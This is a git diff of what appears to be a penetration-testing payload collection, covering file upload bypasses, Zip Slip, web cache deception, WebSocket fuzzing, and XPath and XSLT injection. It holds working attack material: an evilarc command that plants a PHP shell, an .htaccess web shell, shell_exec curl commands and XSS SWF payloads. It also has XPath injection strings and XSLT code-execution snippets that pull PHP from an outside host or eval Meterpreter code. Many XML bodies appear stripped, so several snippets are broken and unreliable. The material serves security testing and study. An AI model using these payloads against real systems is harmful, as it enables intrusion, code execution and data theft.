Jpegs Generator - Damien "virtualabs" Cauquil +* [BookFresh Tricky File Upload Bypass to RCE, NOV 29, 2014 - AHMED ABOUL-ELA](https://secgeek.net/bookfresh-vulnerability/) +* [Encoding Web Shells in PNG IDAT chunks, 04-06-2012, phil](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) +* [La PNG qui se prenait pour du PHP, 23 février 2014](https://phil242.wordpress.com/2014/02/23/la-png-qui-se-prenait-pour-du-php/) +* [File Upload restrictions bypass - Haboob Team](https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf) \ No newline at end of file diff --git a/Upload insecure files/Server Side Include/exec.shtml b/Upload Insecure Files/Server Side Include/exec.shtml similarity index 100% rename from Upload insecure files/Server Side Include/exec.shtml rename to Upload Insecure Files/Server Side Include/exec.shtml diff --git a/Upload insecure files/Server Side Include/include.shtml b/Upload Insecure Files/Server Side Include/include.shtml similarity index 100% rename from Upload insecure files/Server Side Include/include.shtml rename to Upload Insecure Files/Server Side Include/include.shtml diff --git a/Upload insecure files/IIS/index.stm b/Upload Insecure Files/Server Side Include/index.stm similarity index 100% rename from Upload insecure files/IIS/index.stm rename to Upload Insecure Files/Server Side Include/index.stm diff --git a/Upload Insecure Files/Zip Slip/README.md b/Upload Insecure Files/Zip Slip/README.md new file mode 100644 index 0000000000..39d647e6e9 --- /dev/null +++ b/Upload Insecure Files/Zip Slip/README.md @@ -0,0 +1,35 @@ +# Zip Slip + +> The vulnerability is exploited using a specially crafted archive that holds directory traversal filenames (e.g. ../../shell.php). The Zip Slip vulnerability can affect numerous archive formats, including tar, jar, war, cpio, apk, rar and 7z. The attacker can then overwrite executable files and either invoke them remotely or wait for the system or user to call them, thus achieving remote command execution on the victim’s machine. + +## Summary + +- [Detection](#detection) +- [Tools](#tools) +* [Exploits](#exploits) + * [Basic Exploit](#basic-exploit) +- [Additional Notes](#additional-notes) + +## Detection + +- Any zip upload page on the application + +## Tools + +- evilarc [https://github.com/ptoomey3/evilarc](https://github.com/ptoomey3/evilarc) + +## Exploits + +### Basic Exploit + +```python +python evilarc.py shell.php -o unix -f shell.zip -p var/www/html/ -d 15 +``` + +### Additional Notes +- For affected libraries and projects, visit https://github.com/snyk/zip-slip-vulnerability + +## References + +- [Zip Slip Vulnerability - Snyk Ltd, 2019](https://snyk.io/research/zip-slip-vulnerability) +- [Zip Slip - snyk, 2019](https://github.com/snyk/zip-slip-vulnerability) diff --git a/Upload insecure files/JPG Resize/exploit--1.jpg b/Upload insecure files/JPG Resize/exploit--1.jpg deleted file mode 100755 index 05fc5e121e..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit--1.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-52.jpg b/Upload insecure files/JPG Resize/exploit-52.jpg deleted file mode 100755 index f149d94508..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-52.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-53.jpg b/Upload insecure files/JPG Resize/exploit-53.jpg deleted file mode 100755 index 7103e0ecd6..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-53.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-54.jpg b/Upload insecure files/JPG Resize/exploit-54.jpg deleted file mode 100755 index c454deed08..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-54.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-56.jpg b/Upload insecure files/JPG Resize/exploit-56.jpg deleted file mode 100755 index 30479c8b39..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-56.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-57.jpg b/Upload insecure files/JPG Resize/exploit-57.jpg deleted file mode 100755 index 0633c9bca2..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-57.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-58.jpg b/Upload insecure files/JPG Resize/exploit-58.jpg deleted file mode 100755 index e9357de6c9..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-58.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-59.jpg b/Upload insecure files/JPG Resize/exploit-59.jpg deleted file mode 100755 index 8ccd2e1e65..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-59.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-60.jpg b/Upload insecure files/JPG Resize/exploit-60.jpg deleted file mode 100755 index e541cdd2ab..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-60.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-61.jpg b/Upload insecure files/JPG Resize/exploit-61.jpg deleted file mode 100755 index 0c32026926..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-61.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-62.jpg b/Upload insecure files/JPG Resize/exploit-62.jpg deleted file mode 100755 index f3144db176..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-62.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-63.jpg b/Upload insecure files/JPG Resize/exploit-63.jpg deleted file mode 100755 index 978d5d75b5..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-63.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-64.jpg b/Upload insecure files/JPG Resize/exploit-64.jpg deleted file mode 100755 index d6bb05cdd0..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-64.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-65.jpg b/Upload insecure files/JPG Resize/exploit-65.jpg deleted file mode 100755 index 406801d660..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-65.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-66.jpg b/Upload insecure files/JPG Resize/exploit-66.jpg deleted file mode 100755 index 04a4c536ab..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-66.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-67.jpg b/Upload insecure files/JPG Resize/exploit-67.jpg deleted file mode 100755 index 61aa5c6ff0..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-67.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-68.jpg b/Upload insecure files/JPG Resize/exploit-68.jpg deleted file mode 100755 index b5525e836e..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-68.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-69.jpg b/Upload insecure files/JPG Resize/exploit-69.jpg deleted file mode 100755 index 63b046be2f..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-69.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-70.jpg b/Upload insecure files/JPG Resize/exploit-70.jpg deleted file mode 100755 index 24a2e01f58..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-70.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-71.jpg b/Upload insecure files/JPG Resize/exploit-71.jpg deleted file mode 100755 index b81b241100..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-71.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-72.jpg b/Upload insecure files/JPG Resize/exploit-72.jpg deleted file mode 100755 index 64dae94695..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-72.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-73.jpg b/Upload insecure files/JPG Resize/exploit-73.jpg deleted file mode 100755 index 58f8c2d7df..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-73.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-74.jpg b/Upload insecure files/JPG Resize/exploit-74.jpg deleted file mode 100755 index 57c10ffeb4..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-74.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-75.jpg b/Upload insecure files/JPG Resize/exploit-75.jpg deleted file mode 100755 index 224738b1c2..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-75.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-76.jpg b/Upload insecure files/JPG Resize/exploit-76.jpg deleted file mode 100755 index 2b2bc389fb..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-76.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-77.jpg b/Upload insecure files/JPG Resize/exploit-77.jpg deleted file mode 100755 index 3b2b2c5986..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-77.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-78.jpg b/Upload insecure files/JPG Resize/exploit-78.jpg deleted file mode 100755 index 00273332e9..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-78.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-79.jpg b/Upload insecure files/JPG Resize/exploit-79.jpg deleted file mode 100755 index eead64df8e..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-79.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-80.jpg b/Upload insecure files/JPG Resize/exploit-80.jpg deleted file mode 100755 index 5f1a2f86a5..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-80.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-81.jpg b/Upload insecure files/JPG Resize/exploit-81.jpg deleted file mode 100755 index 644fb2f42e..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-81.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-82.jpg b/Upload insecure files/JPG Resize/exploit-82.jpg deleted file mode 100755 index d219eea107..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-82.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-83.jpg b/Upload insecure files/JPG Resize/exploit-83.jpg deleted file mode 100755 index 4f99d48133..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-83.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-84.jpg b/Upload insecure files/JPG Resize/exploit-84.jpg deleted file mode 100755 index 0913b78819..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-84.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-85.jpg b/Upload insecure files/JPG Resize/exploit-85.jpg deleted file mode 100755 index 3ab8a9f4ec..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-85.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-86.jpg b/Upload insecure files/JPG Resize/exploit-86.jpg deleted file mode 100755 index 6b17541498..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-86.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-87.jpg b/Upload insecure files/JPG Resize/exploit-87.jpg deleted file mode 100755 index ab386cb91d..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-87.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-88.jpg b/Upload insecure files/JPG Resize/exploit-88.jpg deleted file mode 100755 index 0290756bcb..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-88.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-89.jpg b/Upload insecure files/JPG Resize/exploit-89.jpg deleted file mode 100755 index f7e067b8a4..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-89.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-90.jpg b/Upload insecure files/JPG Resize/exploit-90.jpg deleted file mode 100755 index 13712290a6..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-90.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-91.jpg b/Upload insecure files/JPG Resize/exploit-91.jpg deleted file mode 100755 index 9809587add..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-91.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-92.jpg b/Upload insecure files/JPG Resize/exploit-92.jpg deleted file mode 100755 index 5b213e53a8..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-92.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-93.jpg b/Upload insecure files/JPG Resize/exploit-93.jpg deleted file mode 100755 index 17746e9faa..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-93.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-94.jpg b/Upload insecure files/JPG Resize/exploit-94.jpg deleted file mode 100755 index 22253d7104..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-94.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-95.jpg b/Upload insecure files/JPG Resize/exploit-95.jpg deleted file mode 100755 index 4dbdb4a463..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-95.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-96.jpg b/Upload insecure files/JPG Resize/exploit-96.jpg deleted file mode 100755 index e5d7da57c4..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-96.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-97.jpg b/Upload insecure files/JPG Resize/exploit-97.jpg deleted file mode 100755 index bb6b08fed4..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-97.jpg and /dev/null differ diff --git a/Upload insecure files/JPG Resize/exploit-98.jpg b/Upload insecure files/JPG Resize/exploit-98.jpg deleted file mode 100755 index 8a4c53f413..0000000000 Binary files a/Upload insecure files/JPG Resize/exploit-98.jpg and /dev/null differ diff --git a/Upload insecure files/Metadata GIF/shell_fr.gif b/Upload insecure files/Metadata GIF/shell_fr.gif deleted file mode 100755 index 10ce64b912..0000000000 Binary files a/Upload insecure files/Metadata GIF/shell_fr.gif and /dev/null differ diff --git a/Upload insecure files/Metadata GIF/shell_problem.gif b/Upload insecure files/Metadata GIF/shell_problem.gif deleted file mode 100755 index 1379a50e19..0000000000 Binary files a/Upload insecure files/Metadata GIF/shell_problem.gif and /dev/null differ diff --git a/Upload insecure files/PHP .htaccess/README.md b/Upload insecure files/PHP .htaccess/README.md deleted file mode 100644 index dabfc53c48..0000000000 --- a/Upload insecure files/PHP .htaccess/README.md +++ /dev/null @@ -1,31 +0,0 @@ -# .htaccess upload - -Uploading an .htaccess file to override Apache rule and execute PHP. -"Hackers can also use “.htaccess” file tricks to upload a malicious file with any extension and execute it. For a simple example, imagine uploading to the vulnerabler server an .htaccess file that has AddType application/x-httpd-php .htaccess configuration and also contains PHP shellcode. Because of the malicious .htaccess file, the web server considers the .htaccess file as an executable php file and executes its malicious PHP shellcode. One thing to note: .htaccess configurations are applicable only for the same directory and sub-directories where the .htaccess file is uploaded." - -Self contained .htaccess web shell - -```python -# Self contained .htaccess web shell - Part of the htshell project -# Written by Wireghoul - http://www.justanotherhacker.com - -# Override default deny rule to make .htaccess file accessible over web - -Order allow,deny -Allow from all - - -# Make .htaccess file be interpreted as php file. This occur after apache has interpreted -# the apache directoves from the .htaccess file -AddType application/x-httpd-php .htaccess -``` - -```php -###### SHELL ###### -&1"); ?> -``` - -## Thanks to - -* [ATTACKING WEBSERVERS VIA .HTACCESS - By Eldar Marcussen](http://www.justanotherhacker.com/2011/05/htaccess-based-attacks.html) -* [](https://blog.qualys.com/securitylabs/2015/10/22/unrestricted-file-upload-vulnerability) diff --git a/Upload insecure files/README.md b/Upload insecure files/README.md deleted file mode 100644 index ab2d9a968a..0000000000 --- a/Upload insecure files/README.md +++ /dev/null @@ -1,64 +0,0 @@ -# Upload - -Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code. - -## Exploits - -### Image Tragik - -```powershell -HTTP Request -Reverse Shell -Touch command -``` - -### PHP Extension - -```powershell -.php - -Less known extension -.pht -.pgif -.phtml -.shtml - -Double extension -.jpeg.php -.png.php -``` - -### PNG Bypass a resize - -Upload the picture and use a local file inclusion - -```powershell -You can use it by specifying $_GET[0] as shell_exec and passing a $_POST[1] parameter with the shell command to execute. -curl 'http://localhost/b.php?0=shell_exec' --data "1='ls'" -curl 'http://localhost/test.php?0=system' --data "1='ls'" -``` - -### JPG Bypass a resize - -Upload the picture and use a local file inclusion - -```powershell -http://localhost/test.php?c=ls -``` - -### XSS via SWF - -As you may already know, it is possible to make a website vulnerable to XSS if you can upload/include a SWF file into that website. I am going to represent this SWF file that you can use in your PoCs. -This method is based on [1] and [2], and it has been tested in Google Chrome, Mozilla Firefox, IE9/8; there should not be any problem with other browsers either. - -```powershell -Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain); - -IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘?js=history.go(-1)’,’_self’);} - -IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,’target’);setTimeout(‘alert(w.document.location);w.close();’,1); -``` - -## References - -* Bulletproof Jpegs Generator - Damien "virtualabs" Cauquil diff --git a/Upload insecure files/ZIP Symbolic Link/passwd b/Upload insecure files/ZIP Symbolic Link/passwd deleted file mode 120000 index 3594e94c04..0000000000 --- a/Upload insecure files/ZIP Symbolic Link/passwd +++ /dev/null @@ -1 +0,0 @@ -/etc/passwd \ No newline at end of file diff --git a/Web cache deception/Intruders/param_miner_lowercase_headers.txt b/Web Cache Deception/Intruders/param_miner_lowercase_headers.txt similarity index 100% rename from Web cache deception/Intruders/param_miner_lowercase_headers.txt rename to Web Cache Deception/Intruders/param_miner_lowercase_headers.txt diff --git a/Web cache deception/README.md b/Web Cache Deception/README.md similarity index 87% rename from Web cache deception/README.md rename to Web Cache Deception/README.md index 7c81e96a6b..097c86aa11 100644 --- a/Web cache deception/README.md +++ b/Web Cache Deception/README.md @@ -22,7 +22,7 @@ 5. The content of the cache is displayed Video of the attack by Omer Gil - Web Cache Deception Attack in PayPal Home Page -[![YOUTUBE DEMO](https://img.youtube.com/vi/pLte7SomUB8/0.jpg)](https://www.youtube.com/watch?v=pLte7SomUB8) +[![DEMO](https://i.vimeocdn.com/video/674856618.jpg)](https://vimeo.com/249130093) ## Methodology 2 @@ -54,4 +54,5 @@ Video of the attack by Omer Gil - Web Cache Deception Attack in PayPal Home Page * [Web Cache Deception Attack - Omer Gil](http://omergil.blogspot.fr/2017/02/web-cache-deception-attack.html) * [Practical Web Cache Poisoning - James Kettle @albinowax](https://portswigger.net/blog/practical-web-cache-poisoning) -* [Web Caching - SI9INT](https://si9int.sh/article/6) \ No newline at end of file +* [Web Caching - SI9INT](https://si9int.sh/article/6) +* [Web Cache Deception Attack leads to user info disclosure - Kunal pandey - Feb 25](https://medium.com/@kunal94/web-cache-deception-attack-leads-to-user-info-disclosure-805318f7bb29) diff --git a/Web Sockets/Files/ws-harness.py b/Web Sockets/Files/ws-harness.py new file mode 100644 index 0000000000..1fea6ecafb --- /dev/null +++ b/Web Sockets/Files/ws-harness.py @@ -0,0 +1,64 @@ +#!/usr/bin/python +from __future__ import print_function +import socket,ssl +from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer +from websocket import create_connection, WebSocket +from urlparse import parse_qs +import argparse +import os + +LOOP_BACK_PORT_NUMBER = 8000 + +def FuzzWebSocket(fuzz_value): + print(fuzz_value) + ws.send(ws_message.replace("[FUZZ]", str(fuzz_value[0]))) + result = ws.recv() + return result + +def LoadMessage(file): + file_contents = "" + try: + if os.path.isfile(file): + f = open(file,'r') + file_contents = f.read() + f.close() + except: + print("Error reading file: %s" % file) + exit() + return file_contents + +class myWebServer(BaseHTTPRequestHandler): + + #Handler for the GET requests + def do_GET(self): + qs = parse_qs(self.path[2:]) + fuzz_value = qs['fuzz'] + result = FuzzWebSocket(fuzz_value) + self.send_response(200) + self.send_header('Content-type','text/html') + self.end_headers() + self.wfile.write(result) + return + +parser = argparse.ArgumentParser(description='Web Socket Harness: Use traditional tools to assess web sockets') +parser.add_argument('-u','--url', help='The remote WebSocket URL to target.',required=True) +parser.add_argument('-m','--message', help='A file that contains the WebSocket message template to send. Please place [FUZZ] where injection is desired.',required=True) +args = parser.parse_args() + +ws_message = LoadMessage(args.message) + +ws = create_connection(args.url,sslopt={"cert_reqs": ssl.CERT_NONE},header={},http_proxy_host="", http_proxy_port=8080) + +try: + #Create a web server and define the handler to manage the + #incoming request + server = HTTPServer(('', LOOP_BACK_PORT_NUMBER), myWebServer) + print('Started httpserver on port ' , LOOP_BACK_PORT_NUMBER) + + #Wait forever for incoming http requests + server.serve_forever() + +except KeyboardInterrupt: + print('^C received, shutting down the web server') + server.socket.close() + ws.close() diff --git a/Web Sockets/Images/WebsocketHarness.jpg b/Web Sockets/Images/WebsocketHarness.jpg new file mode 100644 index 0000000000..2657d6e219 Binary files /dev/null and b/Web Sockets/Images/WebsocketHarness.jpg differ diff --git a/Web Sockets/Images/sqlmap.png b/Web Sockets/Images/sqlmap.png new file mode 100644 index 0000000000..12b888cd9f Binary files /dev/null and b/Web Sockets/Images/sqlmap.png differ diff --git a/Web Sockets/Images/websocket-harness-start.png b/Web Sockets/Images/websocket-harness-start.png new file mode 100644 index 0000000000..22c00811c1 Binary files /dev/null and b/Web Sockets/Images/websocket-harness-start.png differ diff --git a/Web Sockets/README.md b/Web Sockets/README.md new file mode 100644 index 0000000000..be396b89a0 --- /dev/null +++ b/Web Sockets/README.md @@ -0,0 +1,38 @@ +# Web Sockets Attacks + +> The WebSocket protocol allows a bidirectional and full-duplex communication between a client and a server + +## Summary + +* [Tools](#tools) +* [Using ws-harness.py](#using-ws-harness-py) + +## Tools + +* [ws-harness.py](https://gist.githubusercontent.com/mfowl/ae5bc17f986d4fcc2023738127b06138/raw/e8e82467ade45998d46cef355fd9b57182c3e269/ws.harness.py) + +## Using ws-harness.py + +Start ws-harness to listen on a web-socket, and specify a message template to send to the endpoint. + +```powershell +python ws-harness.py -u "ws://dvws.local:8080/authenticate-user" -m ./message.txt +``` + +The content of the message should contains the **[FUZZ]** keyword. + +```json +{"auth_user":"dGVzda==", "auth_pass":"[FUZZ]"} +``` + +Then you can use any tools against the newly created web service, working as a proxy and tampering on the fly the content of message sent thru the websocket. + +```python +sqlmap -u http://127.0.0.1:8000/?fuzz=test --tables --tamper=base64encode --dump +``` + + +## References + +- [HACKING WEB SOCKETS: ALL WEB PENTEST TOOLS WELCOMED by Michael Fowl | Mar 5, 2019](https://www.vdalabs.com/2019/03/05/hacking-web-sockets-all-web-pentest-tools-welcomed/) +- [Hacking with WebSockets - Qualys - Mike Shema, Sergey Shekyan, Vaagn Toukharian](https://media.blackhat.com/bh-us-12/Briefings/Shekyan/BH_US_12_Shekyan_Toukharian_Hacking_Websocket_Slides.pdf) diff --git a/XPATH Injection/README.md b/XPATH Injection/README.md new file mode 100644 index 0000000000..bcbe72e06e --- /dev/null +++ b/XPATH Injection/README.md @@ -0,0 +1,62 @@ +# XPATH injection + +> XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents. + +## Summary + +* [Exploitation](#exploitation) +* [Blind exploitation](#blind-exploitation) +* [Out Of Band Exploitation](#out-of-band-exploitation) +* [Tools](#tools) +* [References](#references) + +## Exploitation + +Similar to SQL : `"string(//user[name/text()='" +vuln_var1+ "' and password/text()=’" +vuln_var1+ "']/account/text())"` + +```sql +' or '1'='1 +' or ''=' +x' or 1=1 or 'x'='y +/ +// +//* +*/* +@* +count(/child::node()) +x' or name()='username' or 'x'='y +' and count(/*)=1 and '1'='1 +' and count(/@*)=1 and '1'='1 +' and count(/comment())=1 and '1'='1 +``` + +## Blind Exploitation + +1. Size of a string + ```sql + and string-length(account)=SIZE_INT + ``` +2. Extract a character + ```sql + substring(//user[userid=5]/username,2,1)=CHAR_HERE + substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE) + ``` + +## Out Of Band Exploitation + +```powershell +http://example.com/?title=Foundation&type=*&rent_days=* and doc('//10.10.10.10/SHARE') +``` + +## Tools + +- [xcat](https://github.com/orf/xcat) - Automate XPath injection attacks to retrieve documents +- [xxxpwn](https://github.com/feakk/xxxpwn) - Advanced XPath Injection Tool +- [xxxpwn_smart](https://github.com/aayla-secura/xxxpwn_smart) - A fork of xxxpwn using predictive text +- [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer) +- [XmlChor](https://github.com/Harshal35/XMLCHOR) - Xpath injection exploitation tool + +## References + +* [OWASP XPATH Injection](https://www.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)) +* [Places of Interest in Stealing NetNTLM Hashes - Osanda Malith Jayathissa - March 24, 2017](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) diff --git a/XPATH injection/README.md b/XPATH injection/README.md deleted file mode 100644 index 4b2eddc4ff..0000000000 --- a/XPATH injection/README.md +++ /dev/null @@ -1,39 +0,0 @@ -# XPATH injection - -XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents. - -## Exploitation - -Similar to SQL : `"string(//user[name/text()='" +vuln_var1+ "' and password/text()=’" +vuln_var1+ "']/account/text())"` - -```sql -' or '1'='1 -' or ''=' -x' or 1=1 or 'x'='y -/ -// -//* -*/* -@* -count(/child::node()) -x' or name()='username' or 'x'='y -' and count(/*)=1 and '1'='1 -' and count(/@*)=1 and '1'='1 -' and count(/comment())=1 and '1'='1 -``` - -## Blind Exploitation - -```sql -1. Size of a string -and string-length(account)=SIZE_INT - -2. Extract a character -substring(//user[userid=5]/username,2,1)=CHAR_HERE -substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE) -``` - -## References - -* [OWASP XPATH Injection](https://www.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)) -* [XPATH Blind Explorer](http://code.google.com/p/xpath-blind-explorer/) diff --git a/XSLT Injection/README.md b/XSLT Injection/README.md new file mode 100644 index 0000000000..dc4b4769a6 --- /dev/null +++ b/XSLT Injection/README.md @@ -0,0 +1,215 @@ +# XSLT Injection + +> Processing an unvalidated XSL stylesheet can allow an attacker to change the structure and contents of the resultant XML, include arbitrary files from the file system, or execute arbitrary code + +## Summary + +- [Tools](#tools) +- [Exploit](#exploit) + - [Determine the vendor and version](#determine-the-vendor-and-version) + - [External Entity](#external-entity) + - [Read files and SSRF using document](#read-files-and-ssrf-using-document) + - [Remote Code Execution with Embedded Script Blocks](#remote-code-execution-with-embedded-script-blocks) + - [Remote Code Execution with PHP wrapper](#remote-code-execution-with-php-wrapper) + - [Remote Code Execution with Java](#remote-code-execution-with-java) + - [Remote Code Execution with Native .NET](#remote-code-execution-with-native-net) +- [References](#references) + +## Tools + +## Exploit + +### Determine the vendor and version + +```xml + + + + + + +``` + +```xml + + + +
Version: +
Vendor: +
Vendor URL: + + +``` + +### External Entity + +```xml + +]> + + + Fruits &ext_file;: + + + + - : + + + + +``` + +### Read files and SSRF using document + +```xml + + + + + + + Fruits: + + + + - : + + + +``` + +### Remote Code Execution with Embedded Script Blocks + +```xml + + + + + + + + + --- BEGIN COMMAND OUTPUT --- + + --- END COMMAND OUTPUT --- + + +``` + +### Remote Code Execution with PHP wrapper + +Execute the function `readfile`. + +```xml + + + + + + +``` + +Execute the function `scandir`. + +```xml + + + + + +``` + +Execute a remote php file using `assert` + +```xml + + + + + include("http://10.10.10.10/test.php") + + + + +``` + +Execute a PHP meterpreter using PHP wrapper. + +```xml + + + + eval(base64_decode('Base64-encoded Meterpreter code')) + + + + +``` + +### Remote Code Execution with Java + +```xml + + + + + + + + +``` + +```xml + + + + +. + +``` + +### Remote Code Execution with Native .NET + +```xml + + + + + + + + + + + +
+ +
+
+
+``` + +## References + +* [From XSLT code execution to Meterpreter shells - 02 July 2012 - @agarri](https://www.agarri.fr/blog/archives/2012/07/02/from_xslt_code_execution_to_meterpreter_shells/index.html) +* [XSLT Injection - Fortify](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection) +* [XSLT Injection Basics - Saxon](https://blog.hunniccyber.com/ektron-cms-remote-code-execution-xslt-transform-injection-java/) \ No newline at end of file diff --git "a/XSS injection/Files/\">" "b/XSS Injection/Files/\">" old mode 100755 new mode 100644 similarity index 100% rename from "XSS injection/Files/\">" rename to "XSS Injection/Files/\">" diff --git a/XSS injection/Files/'> b/XSS Injection/Files/'> old mode 100755 new mode 100644 similarity index 100% rename from XSS injection/Files/'> rename to XSS Injection/Files/'> diff --git a/XSS injection/Files/InsecureFlashFile.swf b/XSS Injection/Files/InsecureFlashFile.swf similarity index 100% rename from XSS injection/Files/InsecureFlashFile.swf rename to XSS Injection/Files/InsecureFlashFile.swf diff --git a/XSS injection/Files/JupyterNotebookXSS.ipynb b/XSS Injection/Files/JupyterNotebookXSS.ipynb similarity index 100% rename from XSS injection/Files/JupyterNotebookXSS.ipynb rename to XSS Injection/Files/JupyterNotebookXSS.ipynb diff --git a/XSS injection/Files/SVG_XSS.svg b/XSS Injection/Files/SVG_XSS.svg old mode 100755 new mode 100644 similarity index 100% rename from XSS injection/Files/SVG_XSS.svg rename to XSS Injection/Files/SVG_XSS.svg diff --git a/XSS injection/Files/SVG_XSS1.svg b/XSS Injection/Files/SVG_XSS1.svg similarity index 100% rename from XSS injection/Files/SVG_XSS1.svg rename to XSS Injection/Files/SVG_XSS1.svg diff --git a/XSS injection/Files/SVG_XSS2.svg b/XSS Injection/Files/SVG_XSS2.svg similarity index 100% rename from XSS injection/Files/SVG_XSS2.svg rename to XSS Injection/Files/SVG_XSS2.svg diff --git a/XSS injection/Files/SVG_XSS3.svg b/XSS Injection/Files/SVG_XSS3.svg similarity index 100% rename from XSS injection/Files/SVG_XSS3.svg rename to XSS Injection/Files/SVG_XSS3.svg diff --git a/XSS 